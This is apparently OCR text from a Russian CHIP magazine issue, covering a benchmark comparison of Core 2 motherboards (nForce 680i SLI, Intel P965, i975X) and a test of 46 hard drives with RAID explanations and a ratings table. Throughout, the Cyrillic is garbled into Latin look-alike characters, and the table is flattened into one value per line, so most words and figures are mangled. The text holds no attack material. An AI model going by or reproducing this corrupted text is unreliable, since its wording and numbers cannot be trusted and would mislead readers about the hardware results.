H3 MyjILTHnpOaeCCOpHOH CHCTeMBi. 
nOOTOMy Ha npOH3BOaHTeJIBHOCTB B 
nepByio onepeat BjinneT TaKTOBan uac- 
TOTa h apxHTeKTypa MHKponpoijeccopa. 
3 to HarjinaHO aeMOHCTpHpyiOT FEAR h 
F ar Cry: Core 2 Duo E6700 3aecB 
HeMHoro onepexaeT Core 2 Quad 
Q6600. Enje oaHa ocodeHHOCTB nrp 
COCTOHT B TOM, HTO HHnCeT MaTepHHC- 
koh njiaTBi npaKTHuecKH He BjinneT Ha 
o6mHH pe3yjiBTaT 3a peaKHM HCKjnoue- 
HHeM. 3 to noaTBepxaaiOT h nojiyueH- 
HBie HaMH pe3yjIBTaTBI — HHKaKHX 
HeoxHaaHHOCTeH TecTHpoBaHHe He 
npHHecjio, Ha Bcex MaTepHHCKHx njia- 
Tax pe3yjiBTaTBi HaemruniBi. 


NFORCE 6801 SLI M CORE 2 0UAD 

npoOneM He M36eKaTb? 


Mbi peniHjiH pa3o6paTBCH b npHUHHax 
Heyaan aysTa nForce 6801 SLI h npOHecco- 
pOB Core 2 — hh3khx pe3yjn>TaTax, noxa- 
3BiBaeMBix CHCTeMOH b noaTecTax onepa- 
THBHOH naMHTH HeKOTOpBIX npHJIOXeHHH, 

TaKHx xax Hot CPU Tester h CrystalMark, 
a TaioKe npn apxHBHpOBaHHH WinRAR. 




BbiflejifieT flOBOJibHO MHoro Tenjia 


npe^ne Bcero, mli Hecxojn>xo pa3 nepe- 
npoBepHjTH pe3yjn>TaTbi TecTupoBaHHH , ho 
H e o6Hapy)KHjiH HHxaxoft oihh6kh. BHanaae 
noA03peHHa ynajiH Ha TaHMHHm onepamB- 
HOH naMHIH, TOHHee, Ha KOppeKTHOCTB 
pa6oTBi c hhmh aaHHoro HHna. MoAyjiH 
naMHTH Corsair CM2X1024-6400C4 cno- 
co6hbi npH yBejiHHeHHH nHTaHHH no/we- 
pxHBaTB peacHM 4-4-4-12 c uacTOTOH 
800 Min;. B TecmpOBaHHH Bcex njiaT 
HCn0JIB30BaJIHCB TaHMHHm ot SPD — 

5-5-5-18. IIojihoctbk) CTaOHJiBHan paGoTa 
Ha HHne 680i oGecneuHBajiacb Taxace h 
npH 5-4-4-12, Tax hto npoGjieMa 3aHH- 
xeHHoro BpeMeHH AOCTyna b momcht Tec- 
THpOBaHHH HexjHOHeHa. KcTam, jxayitQ 
npH yxa3aHHBix nocjreaHHMH 3HaueHHnx 
o6a npou;eccopa Ha unne ot NVIDIA 

npHJIHHHO OTCTaiOT B nOATCCTaX CHCTeMBI 
onepaTHBHOH naMHTH Hot CPU Tester h 
CrystalMark ot pe3yjiBTaTOB, noxa3aHHBix 
TeMH xce MoayjiHMH Ha unnax Intel. 

EcJIH B3TJIHHyTB Ha ACTaJIBHBie pe3yjIB- 

TaTBi TecTHpoBaHHH b Hot CPU Tester, 

MBI yBH^HM, HTO JIH^epOM no CXOpOCTH 
paGOTBI C naMHTBK) HBJIHeTCH HHneeT 
P965. HeMHoro OTCTaji ot Hero i975X. 
A bot pa3pBiB nForce 680i SLI yxe 6ojiee 
cymecTBeHHBiH — nopn^xa 500 xGairr/c 

B OoJIBHIHHCTBe TeCTOB. npaB^a, eCTB 
HCnBITaHHH, B XOTOpBIX OH AepXHTCH Ha 
paBHBix c P965 hjih ^axe BBinrpBiBaeT y 
Hero, HO TaXHX MeHBHIHHCTBO. KCTaTH 
roBOpn, HenTO noAoGHoe mbi HaGjnoAa- 
eM h npH HcnojiB30BaHHH npoijeccopa 
Core 2 Duo, npaB^a, npOHrpBim TaM 
MeHee cymecTBeHHBin. 

C ApyroH CTOpOHBI, TecmpoBaHHe B 
PCMark 05 He bbihbhjio HHxaxnx npo- 
6jieM y nForce 680i SFI npH paGoTe c 03Y. 
H b paGoTe GojiBniHHCTBa npHJioxceHHH 
OHa HHxax He npOHBjiHeTcn. 

■ ■ ■ Anexcew MMpowHUHeHKO 


CHIP BbIBOflbl 

06bNHblM n0Bb30BaTe/lb He OLAyTMT HMKa- 
kom pa3HMUbi Me>KAy ABy^flepHbiM m neTbi- 
pexB^AepHbiM npoueccopoM b noBceAHeB- 
hom pa6oTe. IIoa Core 2 Quad noKa hto 
onTMMM3MpoBaHbi mnbKO y3KOcneunajin- 
3MpoBaHHbie 3aAaHM, ero 3pa b AOMawHMx 
n K eiue He Hacrynuna. 

KaK noKa3biBaeT npaKTmia, b wmpokom 
K pyry no/ib30BaTe/ibCKMx 3aAan, 6yAb to 
npocMOTp cJdmji bMOB m npocnyujMBaHi/ie 
My3biKM, i/irpbi, o c)d m c h an pa6oTa m t. a., 
HkinceT HMKaK He bji n$ieT Ha npon3BOAM- 
Te/lbHOCTb. ri03T0My o6blHHblM n0Jlb30- 
BaTe/i^M cBeAyeT Bbi6npaTb miepmc- 
Kyfo n/iaTy mcxoaa m 3 cooGpaweHMPi 
CTa6n/lbHOCTM M Heo6xOAMMblX B03M0>K- 
HocTePi. 3a5iA/ibiM reMMepaM m oBepimo- 
KepaM Mbi nocoBeTyeM npno6pecn/i Ma- 
TepMHCKyK) n/iaTy Ha 6a3e nnnceTa 
NVIDIA nForce 680i SLI. flBa c/iOTa 
PCI Express xl6 no3BO/mT ncno/ib30BaTb 
SLI-pe>KMM, a Aono/iHMTe/ibHbiM cjiot 
PCI Express x8 — TpeTbio Bi/iAeon/iaTy 
A/lfl C(DM3MHeCKMX paCHeTOB. /lK)6nTe/lM 
pa3roHa 6yAyT paAbi wnpoKMM bo3mo>k- 
hocthm no ycTaHOBKe TaMMMHroB, Hanpfl- 
>KeHMM M HaCTOTbl WI/IH, a maBHoe — 
noTp^caioiAeMy pa3roHHOMy noTeHAi/ia/iy 
caMoPi n/iaTbi. 


He ctomt 3a6bmaTb, hto pj\a npoflB/ieHi/m no- 
Ao6Hbix KanecTB Heo6xoAMMbi TonoBbie KOMn- 
zieKTyioLAne. TaK>Ke nForce 680i SLI o6/iaAaeT 
BbicoKMMM 3HepronoTpe6/ieHneM m LjeHoPi. 

Ec/w >Ke b nepByio onepeAb Rnn Bac b3>kho 
cooTHOiueHMe AeHa/npoM3BOAHTe/ibHOCTb, to 
jiyniuePi n^aTcf)opMbi, neM MaTepMHCKa^ njiaTa 
Ha 6a3e HMnceTa Intel P965, A/ifl Core 2 He 
HaPiTM. Intel i975X npeA/iaraeT paciuMpeH- 
HyK) ((DyHKUMOHa/lbHOCTb M Aono^HMTe^bHbie 
B03MO>KHOCTM. K npMMepy, AOnO/IHMTe/lbHblM 
c/iot PCI Express xl6 (a b HeKOTopbix cjiyna- 
HX M ABa) n03B0/lMT C06paTb MOlAHyK) 
CrossFire-BMAeocMCTeMy. A 3 to HeMa/iOBaw- 
HbiPi apryMeHTA-n^ rePiMepoB. 



3aHMMaeT Bbiciuee nojioweHiie 
b npon3BOflCTBeHHOM jiMHetixe Intel, ho no 
pe3ynbiaiaM TecTOB nacTO yciynaei CBoeMy 
MJiaflmeMy dpaiy 


KAK Mbi TECTI/IP0BAJ1I/I 


B HarneM TecTupoBaHHH npnH5uin ynacTMe 
MaTepMHCKMe n/iaTbi Intel Desktop Board 
D975XBX (Intel i 97 5X), Foxconn P9657AA- 
8EKRS2H (Intel P965), Foxconn N68S7AA 
(nForce 680i SLI). MecTO b pa3BeMe Socket 
775 no onepeAM 3aHMMa/iM npoueccopbi 
Intel Core 2 Duo E6700 (2,66 \Tu) m Intel 
Core 2 Quad Q6600 (2,4 \Tu,). flBa MOAy/ifl 
onepaTMBHoPi naM5iTM Corsair CM2X1024- 
6400C4 pa6oTa/in b AByxKaHajibHOM pe>KM- 

Me C 06 blHHblMM, 60 Bee BbICOKMMM TaPiMMH- 
raMM, He>Ke/iM 3KCTpeMaBbHbie. 

BMAeonjiaTa MSI NX7600GS-T2D256E 6bma 
ycTaHOB^eHa b cnoTe PCI Express xl6 Ha 
Bcex n/iaTax noonepeAHO. 0C Windows XP 
SP2 m TecTOBbie npM^o>KeHM5i 6bmn 3ann- 
caHbi Ha Western Digital WD3000JS 06-b- 
eMOM 300 T6aPiT. noAana nMTaHMfl ocy- 
iAecTB/i5uiacb 6 jiokom ni/uaHHfl 
FSP550-60PLN MOiAHOCTbK) 550 Bt. fl/ia 
TecTupoBaHHH ncnoBb30Ba^ncb noc^eAHMe 
BepcMM ApaPieepoB, AOCTynHbie Ha ocJdmam- 



a/ibHbix caMTax npon3BOAMTe^en KOMn/ieKTy- 
kdiahx. B KanecTBe cyAePi BbiCTynn^n TecTOBbie 
npmio>KeHM5i Super PI mod 1.5XS, CrystalMark 
0.9.121.320, Hot CPU Tester Pro 4, 
Specviewperf 9.0, WinRAR 3.62, 3DMark 06 
vl.1.0 (1024x768@32), 3DMark 05 v.1.3.0 
(1024x768@32), PCMark 05 1.2.0, FEAR 
(640x480@32), Far Cry 1.4 (800x600@32, 
research demo). 
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46 KeCTKMX flMCKOB 


CpeflM 46 wecTKMx amckob, npi/iHABiui/ix ynacTi/ie b HaweM Tecie, 
Bbi HaMfleie MOfle/iM Ha Bee cjiynaw >km 3 hm: dbicipbie ajib RAID- 
MaccMBOB, TMXMe a/ih >ki/ijiom KOMHaTbi i/i HeAoporne, npi/iroAHbie 
AJifl «OMOJio>KeHMB» CTaporo flK. 


HDD 


B 3T0M CTaTbe 

46 >KecTKi/ix fli/iCKOB b flByx xaieropi/mx 
RAID nepe3 SATA: n p a kt i/i h e c k i/i i/i TecT 
Bee pe3y/ibTaTbi Tecia b aeTa/iflx 

CoBeTbi CHIP: npoBepxa 
nepea noKynKOi/i 


H racoraa eme acecTKHe ahckh He 

6bIJIH TaKHMH 6LICTPBIMH H 
AemeBbiMH, KaK ceroaHa» — 
3Ty 4>pa3y bbi, HaBepHoe, peryjiapHO 
BCTpenajiH Ha npOTaaceHHH nocjieaHHx 
jieT b xaacaoM o630pe, nocBameHHOM 
BHHnecTepaM. CeroaHa OHa BbiniaaHT 
aKTyajiBHee, aeM Koraa-jinOo. Xourre 
npHMep? no cpaBHeHHK) c acecTKHMH 
AHCKaMH 2000 roaa, ckopoctb ceroaHam- 
hhx HaKO n HTeji e h B03pocjia b TpH pa3a. 
Eme Gojiee ceHcaijHOHHbie H3MeHeHHa 
npeTepnejio cooTHomeHHe aeHa/Kaaec- 
tbo. Ecjih b 2000 roay noxynaTejib ruia- 
thji 3a KaacatiH mraOaHT 6ojiee $10, to 
cenaac mojkho HaHTH MoaejiH, y koto- 
pBix 1 r6aHT ctoht Bcero 25 aeHTOB. 
Ha pyOexce TbicaaeaeTHH Bjiaaeaeu; kom- 
m>K)Tepa c 40-rara6aHTHbiM BHHaecrepOM 
ayBCTBOBaji ce6a KpynHbiM coOcTBeHHH- 
KOM. B COBpeMeHHBIX nK 06bIHHbIM aeJIOM 

CTajiH acecTKHe ahckh oGbeMOM 400 T6mr, 
aB KJiacce jhokc o6ocHOBajiHCb MoaejiH 
eMKOCTbio 500 h 750 E5aHT. /Jhckoboto 
npocTpaHCTBa CTajio mhoto, ho h noTpe6- 
Hocib b HeM orpOMHa. B anoxy cpiuibMOB 
DivX h HD, KOJureKHHH MP 3 h HHCppoBbix 

4)OTOTpa4)HH HOCHTeJIH HH(J)OpMai4HH 
3anojiHHK)Tca b MmoBeHne oxa. 


n P 11 HI/I M AB PEWEHI/IE 0 n 0 KY fl KE 


MHTeptJjeMCbi: PATA vs. SATA 


CeroaHa 6aji npaBHT SATA. Ecjih MaTe- 
pHHCKaa iuiaTa HMeeT cooTBeTCTByiomne 
pa3beMbi, bbi Bpaa jih CMoaceTe oGohthcb 
6e3 ancxoB SATA, ocoGeHHO npn noxyn- 
xe hoboto nK. MHorae axTyajibHbie 
ruiaTbi Ha 6a3e annceTa Intel 965 BOoOme 
He HMeiOT nopTOB PATA, b jiynmeM cjiy- 
aae tojibko aJia onraaecxHx ancxoBoaoB. 
MHTep(J)eHC SATA 300 npeanoHTHTejib- 
Hee, neM SATA 150, nocxojibxy oh noa- 
aepacHBaeT TexHOJiomio NCQ, xoTOpaa 
«no-yMHOMy» onpeaeaaeT nopaaox 
BbinojiHeHHa HecxojibXHx oaHOBpeMeH- 
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B03M0)KH0CTM 

RAID c SATA 


HbIX 3 anpOCOB, MaKCHMaabHO yCKOpilH 
AOCTyn tojiobok 3 araiCH/HTeHHa k #aH- 
hbim. HecMOTpH Ha npenMymecTBa SATA, 
HHTep(J)eHC PATA, H 3 BecTHbiH Taioice KaK 
IDE, noKa He codHpaeTca caaBaTbca. 
npHHHHa B TOM, HTO MHOTHe n 0 JIB 30 BaTe- 
JIH 6 pOCHJIHCB MOaepHH 3 HpOBaTb CBOH CTa- 
pbie KOMnbiOTepbi. CeroAHa MHorae nxieiOT 
] 3 H(J)pOByK) KaMepy hjih MP3-mieep. 
Y cjienca ycTapeBinero KOMnbiOTepa molh- 
HOCTb npou;eccopa, xax npaBHjio, BnojiHe 
AOCTaTOHHa jijw o 6 pa 6 oTKH MP3 hjih 
(J)OTOipa(i)HH, HO eMKOCTH CTapbIX JIHCKO- 
Bbrx HaKonHTejieH yace He xBaTaeT. TTmchho 
nooTOMy nepeacHBaeT HacToamnn 6 yM h 
pbIHOK BHeiHHHX aceCTKHX ahckob, a 95% 
3 THX yCTpOHCTB 6 a 3 HpyiOTCa Ha PATA. 
B npHHijHne, npOTHB ahckob PATA HeT 
HHKaKHx cepbe 3 Hbix apryMeHTOB. JIhihb 
aaa 6 biCTporo MaccHBa RAID 0 CTapbin 
CTaHjiapT IDE MoaceT aBaaTbca CBoeo 6 pa 3 - 
HblM «HTOJIbHbIM yiHKOM». 


nP01/l3B0flMTEJ1bH0CTb 


CKOpOCTb CKOpOCTM p03Hb 


npOH 3 BOAHTeJIbHOCTb aceCTKHX AHCKOB 
3 aBHCHT OT TpeX (JjaKTOpOB! CKOpOCTH 
nepe^anH AaHHbix, BpeMeHH AOCTyna h 
cnoco 6 a ynpaBaeHna Kein-naMaTbio. 
IlocjieAHHH Tpy^HO oiieHHTb Aaace b 
jia 6 opaTOpHbix ycaoBHax, nocKOJibKy 
Kem, b 3 aBHCHMOCTH ot HeKOTOpbix napa- 
MeTpOB, pa 6 oTaeT c oahhmh npnjioaceHH- 
hmh jiymne, a c ApyraMH — xyace. OnbiT 
noKa 3 biBaeT, hto npaBHjibHO opraHH 30 - 
BaHHaa 2 -Mera 6 aiTraaa Kein-naMaTb 
3 aaacTyio npHHOCHT 6 ojibine nojib 3 bi, 
aeM 8 -Mera 6 airraaa c iuioxhm ynpaBjie- 
HneM. K TOMy ace Sojibihoh Kern o6b- 
eMOM 16 MGaiTr HMeeT cmbicji, CKOpee, 

AJIH BbICOKOnpOH3BO£HTejIbHbIX AHCKOB, 

pa6oTaiomHx b RAID-MaccHBax, aeM rjw 
oGbIHHbIX BHHaeCTepOB. 

CxopocTb nepe^anH AaHHbix h BpeMa 
AOCTyna OLteHHBaiOTca ropa 3 AO nponje, 
aeM Kem-MeHe^acvieHT. Bonpoc jimnb b 

TOM, KaKOe H 3 3 THX RByX CBOHCTB 
Bac BaacHee. YiniBepcajibHOMy 6 bito- 
BOMy KOMnbiOTepy, Ha kotopom ycTa- 
HOBaeHbi Windows, CTaH^apTHbie ocjmc- 
Hbie npHaoaceHHa, napa nrp, HMeiOTca 
KoaaeKijHa (J>OTorpa(j}HH, cfleaaHHbix bo 
B peMa nocae^Hero OTnycxa, h «kopm» 
AJia MP3-naeepa, He HyacHbi hh CBepx- 




6biCTpaa CKOpOCTb nepeAaan AaHHbix, 
hh peKOpAHoe BpeMa AOCTyna. BaacHO 
jinnib npaBHabHoe coaeTamie othx 
noKa3aTeaen, BeAb peinaiomHMH AJia 
Bbidopa AncKaaBaaiOTca pa3Mep Hcnojib- 
3yeMbix (JmiTJiOB h cooTBeTCTByiomaa 
eMy CTeneHb (J>parMeHTau;HH. 

/Jhckom Hamen Meara mo r 6bi CTaTb 
WD Raptor WD1500ADFD H3 Ta6aHu;bi 
Kjiacca SATA. EMy HeT paBHbix hh b cko- 
pocTH nepe^aan AaHHbix, hh bo BpeMeHH 
AOCTyna. O^HaKO h y Hero ecTb cboh 
H e^ocTaTKH : HH3KaaeMKOCTb(150 TGaiTr), 
BbicoKHH ypOBeHb niyMa h 3anpeAejibHaa 
iiem oahoto rara6aHTa — noara $1,5. 
A no6e£HTejib TecTa He AOJiaceH hmctb 
3aMeTHbix caadocTen. Hmchho TaKOB 
Ham anflep — T133 ot Samsung, koto- 
pbiH KaaceTca hcmhoto MeAJiHTejibHbiM, 
ho a Hinb Ha nepBbiH B3rjiaA. Oh HMeeT 
eMKOCTb 400 TGaftT, padoTaeT thxo, otjih- 
aaeTca cojihahoh npOH3BOAHTejibHOCTbio 
h ctoht Heaoporo. 

fljia BHaeoaioOHTeaeH h npo^eccHO- 
HaabHbix <|)OTorpact)OB, koto- 

pbiM npHxoanTca HMeTb aeao 

c (JjanaaMH Gojibinoro pa3Me- 
pa, BaacHa Bbicoxaa CKopocTb 
nepeaaan AaHHbix, a BpeMa 
aocTyna nrpaeT ecjiH He bto- 
pocTeneHHyio, to MeHee 
3aMeTHyio poab. 

TeM, KOMy no npHHHHaM, 

Ha3BaHHbiM Bbime, He Hpa- 
BaTca TaKHe ancKH KaK WD 
Raptor, mm peKOMeHayeM 


Boopy>KMBiiJMCb TpeM5i AMCK3MM Seagate 
Barracuda ATA 7200.10 eMKOCTbfo 500 T6aMT 
Ka>KAbm, Mbi BbmcHMjiM, Hero mo>kho o>km- 
AaTb ot pa3Hbix ypoBHePi RAID. 

RAID 0 (Striping) - 
pacnpeAeneHne aaHHbix 

Tot, kto xoneT no/iyHMTb ot wecrimx ahckob 
M aKCMMa/lbHyK) npOM3BOAUTe/lbHOCTb, HaM- 
AeT ee b RAID 0. flaHHbie napaB/ie^bHO pac- 
npeAeBflfora Ha Asyx iajiia 6o/iee A^CKax, 
ripn 3 tom AOCTyn k hum onTHMM3npyeTCfl. 0C 
onpeAeB5ieT MaccMB KaK oahh 6oBbiaoM 
>KecTKMM ahck, eMKOCTb Komporo paBHa 
CyMMapHOM eMKOCTH OTAe/lbHblX BMHHecre- 
poB. Ha HaiiJHx n K c NVIDIA 680i h Intel 965 

Mbl A06njlMCb CKOpOCTH HTeHH51, paBHOH 
180 M6aHT/c, CKopocTb 3anncH cocTaBH/ia 
155 M6aPiT/c, to ecTb npoH3om^o yBe^HHe- 
Hne np0H3B0AHTe/ibH0 CTH b TpH pa3a. 

RAID 1 (Mirroring) - «3epKano» 

RAID 1 pa6oTaeT c AsyM5i >KecTKHMH ahc- 
k3mh h o6ecneHHBaeT 6e3onacHocTb a^h- 
Hbix. Ka>KAbiH 6 ht 3anncbiBaeTCfl Ha o6a 
AHCKa OAHHaKOBO. npM BbIXOAe H3 CTpOfl 
OAHoro HDD MHc|DopMauH5i ocTaera Ha 




-• * , 



SATABarracudaST3500630AS 
ot Seagate: GbicTpbiH, thxhh, c cohhahoh 
eMKOCTbio b 500 E 5 aHT. Ero conepHHK H 3 
aarepa PATA — Samsung SP2514N. 
B HAeaabHOM cayaae no^oGHbie HaKonn- 
Tean caeayeT Hcnoab 30 BaTb ToabKO aaa 
xpaHeHHa MeaHacjjaHaoB, He ycTaHaBan- 
Baa Ha hhx Windows h nporpaMMbi. 
B npOTHBHOM cayaae (Jianabi 6 yayr 3 ann- 
cbmaTbca b pacaaeHeHHOM (H 3 - 3 a (jjpar- 
MeHTaijHH) Bnae, a 3 to cepbe 3 HO MemaeT 
HTeHHK) aaHHbIX. 

ToMy ace, kto padoTaeT co MHoacecTBOM 
MeaKHx (J)aiiaoB, HanpHMep c 6 a 3 aMH aaH- 
hbix, caeayeT HCKaTb cjjaBopHTa ncxoaa H 3 
MHHHMaabHoro BpeMeHH aocTyna. Ecan 
BaM, HecMOTpa hh Ha hto, Hyama caMaa 
BbicoKaa npOH 3 BoaHTeabHOCTb, to aya- 
ttthm BbidopOM OKaaceTca Bee ace HeBepo- 
aTHO GbiCTpbiH WD Raptor. -4 


UJECTb B OflHOM HoBbie HunceTbi ajib 
M aTepuHCKiix nuaT, npoM 3 BOflMMbie KOMnaHiia- 
mh Intel, NVIDIA, ATI m VIA, noAAep>KNBaK)T ao 
LaecTM nopTOB SATA 

ApyroM. HeAOCTaTKH: HeT noBbiweHMfl 

npOH3BOAHTe/lbHOCTH, o6lAa51 eMKOCTb 
paBHa eMKOCTH OAHoro AHCKa. 

RAID 5 - CKOpOCTb 
h 6e3onacHOCTb aaHHbix 

RAID 5 coneTaeT npoH3BOAHTe/ibHOCTb h 
6e3onacHOCTb. Ilpn 3anncn AanHbie pac- 
npeAe/iflfOTCfl He MeHee neM Ha Tpex ahc- 
Kax. ECBH OAHH H3 HHX BbIHAeT H3 CTpOfl, 
Bbi MO>KeTe 6e3 noTepb pa6oTaTb c ocra/ib- 
HblMH. n pH HTeHHH M3CCHB RAID 5 OKa3bl- 
BaeTCfl b Asa pa3a 6bicTpee OTAe/ibHoro 
AHCKa (125 M6aPiT/c), npn 3anncn c nnn- 
ceTOM NVIDIA MaccHB AaeT xopomee 3Ha- 
neHHe, paBHoe 70 M6aHT/c, a bot Intel 
pa30HapoBbiBan — Bcero 25 M6aHT/c. 
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HBI? TEST & TECHNICS CpaBHme/ibHoe TecTMpoBahme HDD 


TEnjIOOTflAHA I/I PABOHI/IE LUYIVIbl 


fleperpeB — Bpar namibix, 
miim noneMy Heo 6 xoflMMO 
oxnaxtflaTb wecTKne ahckm 


Hh oahh BHHnecTep He b coctohhhh nepe- 
rpy3HTB 6 jiok nuTaHHfl Bauiero KOMntiOTe- 
pa. OaHaKO ueM MeHBine Teiuia BbmejraeT 
acecTKHH ahck, tcm jiyurne. HH3Kaa Tenjio- 
OTaaaa ho3hthbho bjimhct Ha npoaojmn- 
TejiBHOCTB >kh3hh BauiHx aaHHbix. Hto6bi 
H e aonycTMTb neperpeBa, ahck Heo6xoan- 
mo oxjiaacaaTb noTOKOM Bosayxa BHyrpH 
Kopnyca KOMnbiOTepa. TeMnepaTypy bhh- 
necTepa jierKO H3MepHTb, aoTpOHyBinncb 
ao Hero pyKoir: ecjin awcK He oaeHb ropa- 
hhh — Bee b nopaaice. Ecjih ace npn pa6oTe 
oh HarpeBaeTca TaK, hto o6acnraeT BaM 
najibubi, cjieayeT yBejiHUHTb oxjiaacaeHHe. 

Meacay nponuM, ypoBeHb rnyMa acecTKo- 
ro aHCKa, pa 6 oTaiomero b thxom KOMHaT- 
hom IIK, He aojiaceH npeBbimaTb 2 coHa. 
3 aecb npHMepOM Moryr cjiyacHTb 06a no 6 e- 
aHTejia Haniero Tecia — Hitachi h Samsung 
( 1,9 coHa). npH ypOBHe rnyMa Bbime 2,5 coh 
npHcyrcTBHe aucKa b CHCTeMe CTaHOBHTca 
3aMeTHbiM, h oh HauHHaeT MemaTb. 


nP 0 rH 03 HA EYflYLHEE 


HaKonme/iM cTaHyT 
6biCTpee, BMecTMTenbHee 
m aeuieBne 


OueBHaHO, hto b SjiHxaftmHe roabi 
eMKOCTb acecTKHx aucKOB 6yaeT CTpeMH- 
TejibHO pacTH, a ctohmoctb oaHoro rara- 
6aftTa — yMeHbmaTbca. npHUHHa — 
MeToa nepneHaHKyjiapHOH 3anncH, npn 
KOTOpOH 6HTbI HH(J)OpMaitHH 3anHCbiBa- 
K3TCH He BaOJIb nOBepXHOCTH HJiaCTHHbl, 
a nepneHaHKyjiapHO eft, h noTOMy ropa3- 
ao naoTHee. CeroaHa otot MeToa yxe 
mnpOKO npHMeHaeTca b 2,5-aioftMOBbix 
ancKaxaJm Hoyr6yKOB. Y 3,5-aiOHMOBbix 
Moaejieft nepneHaHKyjiapHaa 3anncb 
Toace BxoaHT b Moay. 

A Mbi TeM BpeMeHeM c HeTepneHneM 
a<aeM noaBjieHHa ra6pHaHbix acecTKHx 
ancKOB, b KOTOpbix 6yayr coueTaTbca 
TpaaHijHOHHbie MarHHTHbie HaKonuTejiu 
h CBepx6biCTpaa nojiynpOBoaHHKOBaa 
naMHTb. HanpHMep, cjmpMa Seagate yace 
noaroTOBHjia TaKoe pemeHne jxim Hoyr- 
6yKOB — Momentus 5400PSD. am? 
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7200 

• 

2 

WD Raptor WD1500ADFD 

81 

265 

1,77 

nnoxoe 

100 

71,4 

6,8 

50 

3,7 

64 

150/140 

16 

150 

10 000 

• 

3 

WD Caviar RE2 WD5000YS 

80 

230 

0,46 

omi/iHHoe 

78 

57 

10,6 

88 

2,1 

72 

500/466 

16 

300 

7200 

• 

4 

Maxtor 6B300S0 

80 

105 

0,35 

xopoiuee 

77 

49,7 

10 

94 

2 

62 

300/279 

16 

150 

7200 

- 

5 

Samsung SP1614C 

79 

85 

0,53 

yflOBn. 

69 

45 

11,8 

100 

1,9 

81 

160/146 

8 

150 

7200 

— 

6 

Seagate ST3500630AS 

78 

247 

0,49 

xopoiuee 

77 

60,5 

11,4 

79 

2,4 

80 

500/466 

16 

300 

7200 

• 

7 

WD Raptor WD740GD 

78 

185 

2,50 

nnoxoe 

93 

62,3 

7,2 

51 

3,6 

70 

74/68 

8 

150 

10 000 

— 

8 

Hitachi HDS728080PLA380 

77 

53 

0,66 

yflOBn. 

72 

44,5 

10,8 

86 

2,2 

83 

80/77 

8 

300 

7200 

• 

9 

Samsung SP2504C 

76 

82 

0,33 

omi/iHHoe 

77 

58 

10,8 

81 

2,3 

61 

250/233 

8 

300 

7200 

• 

10 

Samsung SP2004C 

76 

75 

0,38 

omi/iHHoe 

69 

45,4 

11,2 

88 

2,1 

85 

200/186 

8 

300 

7200 

• 

11 

Seagate ST3400620AS 

76 

174 

0,44 

xopomee 

77 

60,7 

12 

76 

2,4 

73 

400/373 

16 

300 

7200 

• 

12 

WD Caviar WD4000KD 

74 

165 

0,41 

xopoiuee 

75 

54,1 

11 

75 

2,5 

63 

400/364 

16 

150 

7200 

— 

13 

Samsung T1 33 HD300LJ 

71 

105 

0,35 

omi/iHHoe 

69 

46,6 

11,2 

75 

2,5 

64 

300/280 

8 

300 

7200 

• 

14 

Maxtor 7H500F0 

68 

280 

0,56 

yflOBn. 

73 

53,1 

10,6 

56 

3,3 

72 

500/466 

16 

300 

7200 

• 

15 

WD Raptor WD360GD 

68 

115 

3,19 

nnoxoe 

82 

46,6 

8,2 

40 

4,7 

73 

36/35 

8 

150 

10 000 

— 

16 

Seagate ST3750640AS 

67 

405 

0,54 

yflOBn. 

76 

62,7 

12 

52 

3,6 

63 

750/699 

16 

300 

7200 

• 

17 

WD Caviar WD2500KS 

66 

98 

0,39 

omMHHoe 

73 

50,3 

10,6 

43 

4,3 

86 

250/227 

16 

300 

7200 

• 

18 

Seagate ST3500641AS 

66 

260 

0,52 

yflOBn. 

69 

48,7 

12 

60 

3,1 

67 

500/466 

16 

300 

7200 

• 

19 

Seagate ST3400832AS 

66 

240 

0,60 

yflOBn. 

72 

56,2 

13,6 

50 

3,7 

80 

400/382 

2 

300 

7200 

• 

20 

WD Caviar WD3200JD 

64 

145 

0,45 

xopoiuee 

76 

54 

10,6 

36 

5,2 

81 

320/298 

8 

150 

7200 

— 

21 

Seagate ST3200822AS 

62 

100 

0,50 

yflOBn. 

70 

50,6 

11,4 

48 

3,8 

58 

200/200 

8 

150 

7200 

— 

22 

Hitachi HDS725050KLA360 

60 

230 

0,46 

yflOBn. 

70 

48 

11,2 

38 

4,8 

67 

500/466 

6 

300 

7200 

• 


■ Otjimhho (100-90) I Xopoiuo (89-75) I YAOB/ieTBopmejibHO (74-45) MaKcmvianbHoe KO/iMnecTBO 6annoB — 100 
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H 3 H?CoBeTbi: BHyTpeHHi/ie 3 , 5 -flioiMOBbie >KecTKne amckm 


ripOBepKd 
nepefl ncwynKOM 

y MHTepcjjeMC 

fl/ifl hoboto KOMnbiOTepa 
Aynuie npno6pecTM amckm 
SATA- 300 c noAAep>KKOM 
NCQ. CMdeMbi «b B03pac- 
Te» oko/io Asyx act, MMe- 
\ ou \ v\e nopTbi SATA, Ha- 
Ae>KHee pa6oiaK)T c 
MOAe/iflMM SATA-150. 1 

6oAee dapbix n K mam 
BH eiUHMX AUCKOB Aynuie 

Bbi6MpaTb PATA. 

/ UeHa 

CooTHoiueHMe ueHa / 
KaneCTBO 33BMCMT He OT 

o6iAeM ueHbi A^CKa, a ot 
toto, cko/ 1 bKO Bbi ruiaTMTe 
3a Ka>KAbiM rMra6aMT. 
HeKOTopbie AHCTpM6bK)TO- 
pbi npMBOA^T 3 tot noKa- 
3aie^b Ha cbomx caMTax. 

y npOM3BOAMTe/lbHOCTb 

pa60Tbl C 60JlbLUMMM 
c(}aM/iaMM WAV, DivX, AVI, 
RAW mjim TIFF Tpe6yeTC5i 
BbicoKa^ CKopocTb nepe- 
A3HM ASHHblX. TeM, KTO 3a- 
HMMaeTC5i 6a3aMM AaHHbix, 
Ba>KHee BpeMA Aociyna. 
ri0Jlb30BaTe^51M, npMBblK- 
LUMM K MP3 M JPEG, peKO- 
MeHAyeTC5i c6aAaHCMpo- 
BaHHoe coneiaHMe btmx 
AB yx cfDaKTopoB. 

y VpoBeHb my mb 

BbicoKaa CKopocTb 
BpaiAeHM^ wnMHAeAA 
(10 000 o6./mmh.) — 3to 
H e TO/lbKO TOn-npOM3BOAM- 
TeAbHOCTb, HO M rpOMKMM 
myM, m noBbiiueHHa5i noT- 
pe6HOCTb B OX^a>KAeHMM. 
Aaa KOMnbfOTepa, CToaiAe- 
ro b >kmaom KOMHaie, pe- 
KOMeHAyK)TC51 >KeCTKMe 
amckm c ypoBHew LuyMa He 
Bbiiue 2,5 coh. 


PeKOpAHyK) npOM 3 BOflMTeJlbHOCTb 
He/ib3fl yiamb 

KorAa-TO ahck Mor 6biTb mam 6bicrpbiM, mam tmxmm. CeroA- 
